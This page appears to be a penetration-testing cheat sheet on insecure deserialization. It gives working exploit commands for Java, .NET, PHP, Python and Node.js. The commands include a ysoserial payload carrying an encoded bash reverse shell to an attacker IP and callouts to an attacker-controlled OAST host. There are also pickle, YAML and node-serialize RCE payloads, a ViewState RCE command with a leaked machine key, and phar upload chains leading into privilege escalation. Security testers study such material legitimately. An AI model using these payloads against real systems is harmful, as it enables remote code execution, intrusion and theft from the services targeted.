Deserialization
Sections Deserialization
User-controlled data is fed to a deserializer that doesn’t validate types. Most cases lead to RCE via gadget chains in libraries the app already loaded.
T=https://target.com
i. Where it lives
Anywhere serialized objects cross the trust boundary:
- Cookies (sometimes base64-serialized session blobs)
- HTTP request bodies (especially API endpoints)
- Hidden form fields
- HTTP headers (rare but happens)
- Queue messages (RabbitMQ, ActiveMQ, etc) consumed by the web app
- File uploads that get parsed (phar, pickle, marshalled data)
- Cache contents (memcached, Redis) when the app deserializes
- WebSocket messages
Detect by looking for telltale magic bytes / patterns in any base64 or binary blob you see:
| Pattern | Language |
|---|---|
rO0AB (base64 of \xac\xed\x00\x05) | Java |
\xac\xed\x00\x05 raw | Java |
AAEAAAD///// (base64 of \x00\x01\x00\x00\x00\xff...) | .NET (BinaryFormatter) |
<?xml ... <a1:...> | .NET (XML / SoapFormatter) |
O:N:"<class>" | PHP serialize() |
a:N:{...} | PHP serialize() (array) |
\x80\x04 (pickle protocol 4 header) or (dp0 | Python pickle |
<?yaml / --- / !!python/object | Python YAML (unsafe load) |
\x04\x08 | Ruby Marshal |
_$$ND_FUNC$$_ or starts with {"rce":" patterns | Node.js (node-serialize) |
Spot any of these in user-controllable input → deserialization candidate.
ii. Tools, the one-liner per language
Java: ysoserial
Generates serialized payloads using known gadget chains from common Java libraries:
java -jar ysoserial.jar
## Lists all available payloads
## Generate a payload:
java -jar ysoserial.jar CommonsCollections5 'nslookup attacker.oast.live' > payload.bin
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' > rev.bin
## Most common useful chains:
## CommonsCollections5, CommonsCollections6 (modern Java)
## CommonsCollections1 (older Java)
## Spring1, Spring2 (Spring framework)
## Hibernate1
## Groovy1
## URLDNS (test-only, just DNS lookup, useful for blind detection)
Use URLDNS first to confirm deserialization without triggering RCE:
java -jar ysoserial.jar URLDNS "http://attacker.oast.live/" > probe.bin
## Submit probe.bin to the target. If OAST gets a DNS hit → vuln confirmed.
## Then escalate to a real chain.
When delivered via web (URL/cookie/header):
base64 -w0 payload.bin ## URL-safe wrapping for cookies/URLs
.NET: ysoserial.net
Same idea for .NET:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c calc.exe"
ysoserial.exe -f SoapFormatter -g WindowsIdentity -c "cmd /c calc.exe"
## List all:
ysoserial.exe --fullhelp
Common formatters in .NET deserialization:
- BinaryFormatter (most common, deprecated by Microsoft)
- LosFormatter (used in ViewState)
- ObjectStateFormatter
- Json.Net (TypeNameHandling != None)
- DataContractSerializer (with KnownTypes)
- NetDataContractSerializer
- XamlReader
- XmlSerializer
For ASP.NET ViewState specifically: ysoserial.net with LosFormatter gadget if the machine key is leaked.
PHP: PHPGGC
phpggc -l ## list available chains
phpggc Monolog/RCE1 'system' 'id' -b ## base64-encoded chain via Monolog gadget
phpggc Laravel/RCE1 system id ## Laravel-specific chain
phpggc Symfony/RCE4 system id ## Symfony
phpggc -p phar -f symfony/rce4 system id -o exploit.phar ## phar package
Common chains:
- Monolog/RCE1-9 (every modern PHP app has Monolog logging)
- Laravel/RCE-, Symfony/RCE-, Drupal/RCE-*
- WordPress/RCE-*
- Guzzle/RCE-*
- Slim/RCE-*
- ZendFramework/RCE-*
When the target’s PHP version + composer.json suggests a library, find the matching gadget.
Python: pickle
Pickle is trivially exploitable when used on user input. No tool needed, just craft:
python3 -c "
import pickle, os, base64
class X:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(X())).decode())
"
Output is a base64 string. Decode → unsafe pickle.loads() runs os.system('id').
For Python YAML, use yaml.unsafe_load payloads:
import yaml
payload = """!!python/object/apply:os.system ["id"]"""
Ruby Marshal
Less commonly tooled. Use universal RCE chain by hand or with universal_rce_gadgets_for_ruby :
# Crafted Marshal payload for Rails apps:
# (See PayloadsAllTheThings - Ruby deserialization)
Node.js: node-serialize
The node-serialize library deserializes arbitrary JS, including function literals. Trivially exploitable:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
Other Node.js deserialization libraries vary. serialize-javascript is safer by default.
iii. The blind probe (always start here)
Before launching RCE chains:
## Java URLDNS:
java -jar ysoserial.jar URLDNS "http://abc.oast.live/" > probe.bin
## .NET TypeConfuseDelegate with ping:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping abc.oast.live" > probe.bin
## PHP via Monolog with curl:
phpggc Monolog/RCE6 system 'curl abc.oast.live' -b
## Python pickle with os.system curl:
python3 -c "
import pickle, base64
class X:
def __reduce__(self):
return (__import__('os').system, ('curl abc.oast.live',))
print(base64.b64encode(pickle.dumps(X())).decode())
"
Send the probe to the suspected sink. Wait for the OAST hit. Vuln confirmed → escalate to RCE.
iv. Finding the right gadget chain
Each language has many possible chains. The chain that works depends on which libraries are loaded in the target process.
Java
Look at the response headers and visible framework signs to identify the stack:
X-Powered-By: Servlet/3.1,Server: Apache Tomcat/X.XSet-Cookie: JSESSIONID=...- Spring error pages
- Confluence / Jira fingerprints
Common library matrix:
- Tomcat + Spring → try Spring1, Spring2, CommonsBeanutils1
- Confluence → Confluence-specific chains
- Jenkins → Jenkins chains
- Plain JDK (no extra libs) → URLDNS only (test-only)
When you have source code access, look at pom.xml / build.gradle for libraries that have known gadget chains.
.NET
Identify the formatter from the data shape:
AAEAAAD/////→ BinaryFormatter__EVENTVALIDATION/__VIEWSTATE→ ViewState (LosFormatter/ObjectStateFormatter)- JSON with
$type→ Json.Net with TypeNameHandling - XAML → XamlReader
ViewState RCE specifically (requires machine key):
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--validationalg="SHA1" --validationkey="<KEY_FROM_WEB_CONFIG>" \
-c "cmd /c calc.exe"
PHP
Identify the framework via response headers, error pages, public asset paths:
- Laravel:
X-Powered-By: PHP/...,laravel_sessioncookie,/storage/paths - Symfony:
_sf_*cookies, profile bar in dev, Whoops error pages - WordPress:
/wp-content/,/wp-json/,wp_cookie prefix - Drupal:
Drupal-,/sites/default/, X-Generator header - Generic: Monolog often present in any modern PHP app, so Monolog chains are first-try
Python
Look for the framework:
- Flask:
Werkzeugin error pages,session=eyJ...(signed cookies - see WEB02 Auth & Session ) - Django:
csrftokencookie,sessionid, Django admin URL - FastAPI: openapi.json, redoc UI
Pickle is the universal Python attack - always try if you see base64-pickle data.
v. Phar deserialization (PHP-specific)
Phar files are PHP archives with embedded metadata. When PHP file functions are called on a phar:// stream URL, the metadata is automatically deserialized. This means LFI + phar upload = deserialization without ever calling unserialize().
phpggc -p phar -f Laravel/RCE1 system 'id' -o exploit.phar
## Upload exploit.phar as any file extension (the magic bytes matter, not extension)
## Trigger via LFI/file-handling function:
?file=phar:///tmp/uploads/exploit.phar
File operations that trigger phar deserialization (no unserialize() needed):
file_exists(),is_file(),file_get_contents(),fopen()file(),filesize(),stat(),lstat()getimagesize(),exif_read_data()md5_file(),sha1_file()
This makes LFI on PHP apps especially dangerous when uploads are allowed (any extension) - see WEB13 File Upload & LFI .
vi. Tricks worth knowing
Look for serialized data even when not obvious
Decode every base64 string. Inspect every binary blob in cookies. The deserialization sink is often hidden:
- A “remember me” cookie that base64-encodes a user blob
- A “previous form data” cookie for autofill
- A “Last URL visited” tracking cookie
Custom serialization isn’t safe either
Some apps use custom serialization formats. If user input flows into ANY untrusted-input-to-object-construction path, similar risks apply. Look at the source if possible.
Length-prefix bugs
Some deserializers process data based on length headers. Mismatched length can cause weird parsing behaviors → smuggling-like attacks within deserialization streams.
Chained polyglot - combine with other bugs
- File upload + phar deserialization = RCE (PHP)
- XXE → DTD with deserialization payload = chained
- SSRF + internal queue access + deserializable queue message = chained RCE
Identify mass assignment too
Some “deserialization-like” bugs are actually mass assignment (the app maps JSON keys to object properties). Test:
{"isAdmin": true, "role": "admin"}
Even when proper deserialization isn’t possible, type confusion / mass assignment can be present.
Validate gadget chain works locally first
Set up a test instance with the suspected library versions. Verify your chain triggers RCE locally before sending to target. Saves time fishing through 100 chains in the dark.
vii. References
- PortSwigger - Insecure deserialization
- PayloadsAllTheThings - Insecure Deserialization
- HackTricks - Deserialization
- ysoserial - Java
- ysoserial.net - .NET
- PHPGGC - PHP
- marshalsec - multi-protocol Java deserialization
- gadgetinspector - find new Java chains
- phpggc readme - covers phar wrapper extensively
viii. Where it leads
Almost every successful deserialization = RCE in the deserializing process. Next steps:
- Stable callback via Reverse Shells
- Local enum on the foothold → 05 Local Enum or W02 Local Enum
- Find more bugs / creds in the now-readable app source → 11 PrivEsc - Credentials & Files / W06 PrivEsc - Credentials & Files
- If on cloud → metadata endpoint, see Cloud Recon
- Move into AD if domain-joined → 00 AD MOC
Deserialization RCE often runs as the application service account (Tomcat user, www-data, IIS apppool identity). Often comes with SeImpersonatePrivilege on Windows → instant SYSTEM via Potato attacks, see W03 PrivEsc - Tokens & Privileges
.